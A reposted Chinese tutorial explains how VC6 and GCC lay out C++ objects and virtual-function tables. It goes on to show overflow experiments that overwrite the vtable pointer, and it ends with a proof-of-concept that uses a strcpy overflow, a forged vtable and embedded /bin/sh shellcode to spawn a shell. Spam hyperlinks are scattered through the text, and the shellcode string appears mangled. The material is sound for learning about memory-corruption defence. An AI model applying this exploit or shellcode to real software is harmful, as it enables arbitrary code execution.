您的位置:首页 > 编程语言 > C语言/C++

C++中通过溢出覆盖虚函数指针列表执行代码

2017-05-15 00:00 435 查看
1. C++中虚函数的静态联编和动态联编

   2. VC中对象的空间组织和溢出试验

   3. GCC中对象的空间组织和溢出试验

   4. 参考

  

  

  <一> C++中虚函数的静态联编和动态联编

  

   C++中的一大法宝就是虚函数,简单来说就是加virtual要害字定义的函数。

   其特性就是支持动态联编。现在C++开发的大型软件中几乎已经离不开虚函数的

   使用,一个典型的例子就是虚函数是MFC的基石之一。

  

   这里有两个概念需要先解释:=版权所有 软件 下载 学院 版权所有=

  

   静态联编:通俗点来讲就是程序编译时确定调用目标的地址。

   动态联编:程序运行阶段确定调用目标的地址。

  

   在C++中通常的函数调用都是静态联编,但假如定义函数时加了virtual要害

   字,并且在调用函数时是通过指针或引用调用,那么此时就是采用动态联编。

  

   一个简单例子:

  // test.cpp

  #include<iostream.h>

  class ClassA

  {

  public:

   int num1;

   ClassA(){ num1=0xffff; };

   virtual void test1(void){};

   virtual void test2(void){};

  };

  ClassA objA,* pobjA;

  

  int main(void)

  {

   pobjA=&objA;

   objA.test1();

   objA.test2();

   pobjA->test1();

   pobjA->test2();

   return 0;

  }

  

  

  

  

  使用VC编译:

  开一个命令行直接在命令行调用cl来编译: (假如你安装vc时没有选择注册环境

  变量,那么先在命令行运行VC目录下binVCVARS32.BAT )

  

  cl test.cpp /Fa

  产生test.asm中间汇编代码

  

  接下来就看看asm里有什么玄虚,分析起来有点长,要有耐心 !

  

  我们来看看:

  

  数据定义:

  

  _BSS SEGMENT

  ?objA@@3VClassA@
@A DQ 01H DUP (?) ;objA 64位

  ?pobjA@@3PAVClassA@
@A DD 01H DUP (?) ;pobjA 一个地址32位

  _BSS ENDS

  

  看到objA为64位,里边存放了哪些内容呢? 接着看看构造函数:

  

  _this$ = -4

  ??0ClassA@@QAE@XZ PROC NEAR ; ClassA::ClassA() 定义了一个变量 _this ?!

  ; File test.cpp

  ; Line 6

   push ebp

   mov ebp, esp

   push ecx

   mov DWord PTR _this$[ebp], ecx ; ecx 赋值给 _this ?? 不明白??

  

   mov eax, DWORD PTR _this$[ebp]

   mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@

   ; ClassA::`vftable'

  

  ; 前面的部分都是编译器加的东东,我们的赋值在这里

  

   mov ecx, DWORD PTR _this$[ebp]

   mov DWORD PTR [ecx+4], 65535 ;0xffff num1=0xffff;

  ; 看来 _this+4就是num1的地址

  

   mov eax, DWORD PTR _this$[ebp]

   mov esp, ebp

   pop ebp

   ret 0

  ??0ClassA@@QAE@XZ ENDP

  

  那个_this和mov DWORD PTR _this$[ebp], ecx 让人比较郁闷了吧,不急看看何

  处调用的构造函数:

  

  _$E9 PROC NEAR

  ; File test.cpp

  ; Line 10

   push ebp

   mov ebp, esp

   mov ecx, OFFSET FLAT:?objA@@3VClassA@@A

   call ??0ClassA@@QAE@XZ ;call ClassA::ClassA()

   pop ebp

   ret 0

  _$E9 ENDP

  

  看,ecx指向objA的地址,通过赋值,那个_this就是objA的开始地址,其实CLASS中

  的非静态方法编译器编译时都会自动添加一个this变量,并且在函数开始处把ecx

  赋值给他,指向调用该方法的对象的地址 。

  

  那么构造函数里的这两行又是干什么呢?

   mov eax, DWORD PTR _this$[ebp]

   mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@

   ; ClassA::`vftable'

  

  我们已经知道_this保存的为对象地址: &objA。 那么 eax = &objA

  接着就相当于 ( * eax ) = OFFSET FLAT:??_7ClassA@@6B@

  

  来看看 ??_7ClassA@@6B@ 是哪个道上混的:

  

  CONST SEGMENT

  ??_7ClassA@@6B@

   DD FLAT:?test1@ClassA@@UAEXXZ ; ClassA::`vftable'

   DD FLAT:?test2@ClassA@@UAEXXZ

  CONST ENDS

  

  看来这里存放的就是test1(),test2()函数的入口地址 ! 那么这个赋值:

   mov DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@

   ; ClassA::`vftable'

  就是在对象的起始地址填入这么一个地址列表的地址。

  

  

  好了,至此我们已经看到了objA的构造了:

  

  | 低地址 |

  +--------+ ---> objA的起始地址 &objA

  |pvftable|

  +--------+-------------------------+

   | num1 | num1变量的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a> |

  +--------+ ---> objA的结束地址 +--->+--------------+ 地址表 vftable

  | 高地址 | |test1()的地址 |

   +--------------+

   |test2()的地址 |

   +--------------+

  

  来看看main函数:

  _main PROC NEAR

  ; Line 13

   push ebp

   mov ebp, esp

  ; Line 14

   mov DWORD PTR ?pobjA@@3PAVClassA@@A,

   OFFSET FLAT:?objA@@3VClassA@@A ; pobjA = &objA

  

  ; Line 15

   mov ecx, OFFSET FLAT:?objA@@3VClassA@@A ; ecx = this指针

   ; 指向调用者的地址

   call ?test1@ClassA@@UAEXXZ ; objA.test1()

   ; objA.test1()直接调用,已经确定了地址

  ; Line 16

   mov ecx, OFFSET FLAT:?objA@@3VClassA@@A

   call ?test2@ClassA@@UAEXXZ ; objA.test2()

  ; Line 17

   mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA

   mov edx, DWORD PTR [eax] ; edx = vftable

   mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA

   call DWORD PTR [edx] ;

   ; call vftable[0] 即 pobjA->test1() 看地址是动态查找的 ; )

  

  

  ; Line 18

   mov eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA

   mov edx, DWORD PTR [eax]

   mov ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA

   call DWORD PTR [edx+4] ; pobjA->test2()

   ; call vftable[1] 而vftable[1]里存放的是test2()的入口地址

  ; Line 19

   xor eax, eax

  ; Line 20

   pop ebp

   ret 0

  _main ENDP

  

  

  

  好了,相信到这里你已经对动态联编有了深刻印象。

  

  

   <二> VC中对象的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>组织和溢出试验

  

   通过上面的分析我们可以对对象<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>组织概括如下:

  

  | 低地址 |

  +----------+ ---> objA的起始地址 &objA

  |pvftable |--------------------->+

  +----------+ |

  |各成员变量| |

  +----------+ ---> objA的结束地址 +---> +--------------+ 地址表 vftable

  | 高地址 | |虚函数1的地址 |

   +--------------+

   |虚函数2的地址 |

   +--------------+

   | . . . . . . |

  

  可以看出假如我们能覆盖pvtable然后构造一个自己的vftable表那么动态联编就使得

  我们能改变程序流程!

  

  现在来作一个溢出试验:

  先写个程序来看看

  #include<iostream.h>

  class ClassEx

  {

  };

  int buff[1];

  ClassEx obj1,obj2,* pobj;

  

  int main(void)

  {

    cout << buff << ":" << &obj1 << ":" << &obj2<< ":" << &pobj <<endl;

   return 0;

  }

  

  用cl编译运行结果为:

  0x00408998:0x00408990:0x00408991:0x00408994

  编译器把buff的地址放到后面了!

  把程序改一改,定义变量时换成:

  ClassEx obj1,obj2,* pobj;

  int buff[1];

  结果还是一样!! 不会是vc就是防着这一手吧!

  看来想覆盖不轻易呀 ; )

  只能通过obj1 溢出覆盖obj2了

  

  //ex_vc.cpp

  #include<iostream.h>

  class ClassEx

  {

  public:

  int buff[1];

  virtual void test(void){ cout << "ClassEx::test()" << endl;};

  };

  void entry(void)

  {

   cout << "Why a u here ?!" << endl;

  };

  

  ClassEx obj1,obj2,* pobj;

  

  int main(void)

  {

  

   pobj=&obj2;

   obj2.test();

  

   int vtab[1] = { (int) entry };//构造vtab,

   //entry的入口地址

   obj1.buff[1] = (int)vtab; //obj1.buff[1]就是 obj2的pvftable域

   //这里修改了函数指针列表的地址到vtab

   pobj->test();

   return 0;

  }

  

  编译 cl ex_vc.cpp

  

  运行结果:

  ClassEx::test()

  Why a u here ?!

  

  测试环境: VC6

  

  

  看我们修改了程序执行流程 ^_^

  

  平时我们编程时可能用virtaul不多,但假如我们使用BC/VC等,且使用了厂商提供的

  库,其实我们已经大量使用了虚函数 ,以后写程序可要小心了,一个不留神的变量

  赋值可能会后患无穷。 //开始琢磨好多系统带的程序也是vc写的,里边会不会 ....

  

  

  

   <三> GCC中对象的<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>组织和溢出试验

  

   刚才我们已经分析完vc下的许多细节了,那么我们接下来看看gcc里有没有什么不

  一样!分析方法一样,就是写个test.cpp用gcc -S test.cpp 来编译得到汇编文件

  test.s 然后分析test.s我们就能得到许多细节上的东西。

  

  通过分析我们可以看到:

  

  gcc中对象地址<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>结构如下:

  

  | 低地址 |

  +---------------+ 对象的开始地址

  | |

  | 成员变量<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a> |

  | |

  +---------------+

  | pvftable |----------->+------------------+ vftable

  +---------------+ | 0 |

  | 高地址 | +------------------+

   | XXXXXXXX |

   +------------------+

   | 0 |

   +----------------- +

   | 虚函数1入口地址 |

   +------------------+

   | 0 |

   +----------------- +

   | 虚函数2入口地址 |

   +------------------+

   | . . . . . . |

  

  

  哈哈,可以看到gcc下有个非常大的优势,就是成员变量在pvftable

  前面,要是溢出成员变量赋值就能覆盖pvftable,比vc下方便多了!

  

  

  来写个溢出测试程序:

  

  //test.cpp

  #include<iostream.h>

  class ClassTest

  {

  public:

   long buff[1]; //大小为1

   virtual void test(void)

   {

   cout << "ClassTest test()" << endl;

   }

  };

  

  void entry(void)

  {

   cout << "Why are u here ?!" << endl;

  }

  

  int main(void)

  {

   ClassTest a,*p =&a;

   long addr[] = {0,0,0,(long)entry}; //构建的虚函数表

   //test() -> entry()

  

   a.buff[1] = ( long ) addr;// 溢出,操作了虚函数列表指针

   a.test(); //静态联编的,不会有事

   p->test(); //动态联编的,到我们的函数表去找地址,

   // 结果就变成了调用函数 entry()

  

  }

  

  编译: gcc test.cpp -lstdc++

  执行结果:

  bash-2.05# ./a.out

  ClassTest test()

  Why are u here ?!

  

  

  测试程序说明:

  

  具体的就是gcc -S test.cpp生成 test.s 后里边有这么一段:

  .section .gnu.linkonce.d._vt$9ClassTest,"aw",@progbits

   .p2align 2

   .type _vt$9ClassTest,@object

   .size _vt$9ClassTest,24

  _vt$9ClassTest:

   .value 0

   .value 0

   .long __tf9ClassTest

   .value 0

   .value 0

   .long test__9ClassTest ----------+

   .zero 8 |

   .comm __ti9ClassTest,8,4 |

   |

   |

   test()的地址 <----+

  

  

  这就是其虚函数列表里的内容了。

  

    test()地址在第3个(long)型地址<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>

  

  所以我们构造addr[]时:

  

   long addr[] = {0,0,0,(long)entry};

  

   就覆盖了test()函数的地址 为 entry()的地址

  

   p->test()

   时就跑到我们构建的地址表里取了entry的地址去运行了

  

  

  测试环境 FreeBSD 4.4

   gcc 2.95.3

  

  来一个真实一点的测试:

  通过溢出覆盖pvftable,时期指向一个我们自己构造的

  vftable,并且让vftable的虚函数地址指向我们的一段shellcode

  从而得到一个shell。

  

  #include<iostream.h>

  #include<stdio.h>

  class ClassBase //定义一个基础类

  {

  public:

   char buff[128];

   void setBuffer(char * s)

   {

   strcpy(buff,s);

   };

   virtual void printBuffer(void){}; //虚函数

  };

  

  class ClassA :public ClassBase

  {

  public:

   void printBuffer(void)

   {

   cout << "Name :" << buff << endl;

   };

  };

  

  class ClassB : public ClassBase

  {

  public:

   void printBuffer(void)

   {

   cout << "The text : " << buff << endl;

   };

  };

  

  char buffer[512],*pc;

  long * pl = (long *) buffer;

  long addr = 0xbfbffabc; // 在我的机器上就是 &b ^_*

  char shellcode[]="1xc0Ph//shh/binT[PPSS4;xcdx80";

  int i;

  

  int main(void)

  {

   ClassA a;

   ClassB b;

   ClassBase * classBuff[2] = { &a,&b };

  

   a.setBuffer("Tom");

   b.setBuffer("Hello ! This is world of c++ .");

  

   for(i=0;i<2;i++) //C++中的惯用手法,

   //一个基础类的指针指向上层类对象时调

   //用的为高层类的虚函数

   classBuff[i]->printBuffer(); // 这里是正常用法

  

   cout << &a << " : " << &b << endl; // &b就是上面addr的值,

   //假如你的机器上两个值不同就改一改addr值吧!

   //构造一个非凡的buff呆会给b.setBuffer

   // 在开始处构造一个vftable

   pl[0]=0xAAAAAAAA; //填充1

   pl[1]=0xAAAAAAAA; //填充2

   pl[2]=0xAAAAAAAA; //填充3

   pl[3]=addr+16; //虚函数printBuffer入口地址

   // 的位置指向shell代码处了

   pc = buffer+16;

   strcpy(pc,shellcode);

   pc+=strlen(shellcode);

  

   for(;pc - buffer < 128 ; *pc++='A'); //填充

  

   pl=(long *) pc;

   *pl= addr; //覆盖pvftable使其指向我们构造的列表

  

   b.setBuffer(buffer); //溢出了吧 .

  

   // 再来一次

   for(i=0;i<2;i++)

   classBuff[i]->printBuffer(); // classBuffer[1].printBuffer

   // 时一个shell就出来了

  

   return 0;

  }

  

  

  bash-2.05$ ./a.out

  Name :Tom

  The text : Hello ! This is world of c++ .

  0xbfbffb44 : 0xbfbffabc

  Name :

  $ <------ 呵呵,成功了

  

  说明:

  

  addr = &b 也就是 &b.buff[0]

  

  b.setBuffer(buffer)

  就是让 b.buff溢出,覆盖128+4+1个地址。

  此时内存中的构造如下:

  

  &b.buff[0] 也是 &b

  ^

  |

  |

  [填充1|填充2|填充3|addr+16|shellcode|填充|addr | ]

   ____ ^ ___

   | | |

   | | |

  | +---+ | |

  | | |

  +---------------> 128 <--------------+ |

   |

   此处即pvftable项 ,被溢出覆盖为 addr <---+

  

  现在b.buff[0]的开始处就构建了一个我们自己的虚

  函数表,虚函数的入口地址为shellcode的地址 !

  

  

   本文只是一个引导性文字,还有许多没

   有提到的细节,需要自己去分析。

   俗话说自己动手丰衣足食 *_&

  

  <四> 参考

  

   Phrack56# << SMASHING C++ VPTRS >>
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: 
相关文章推荐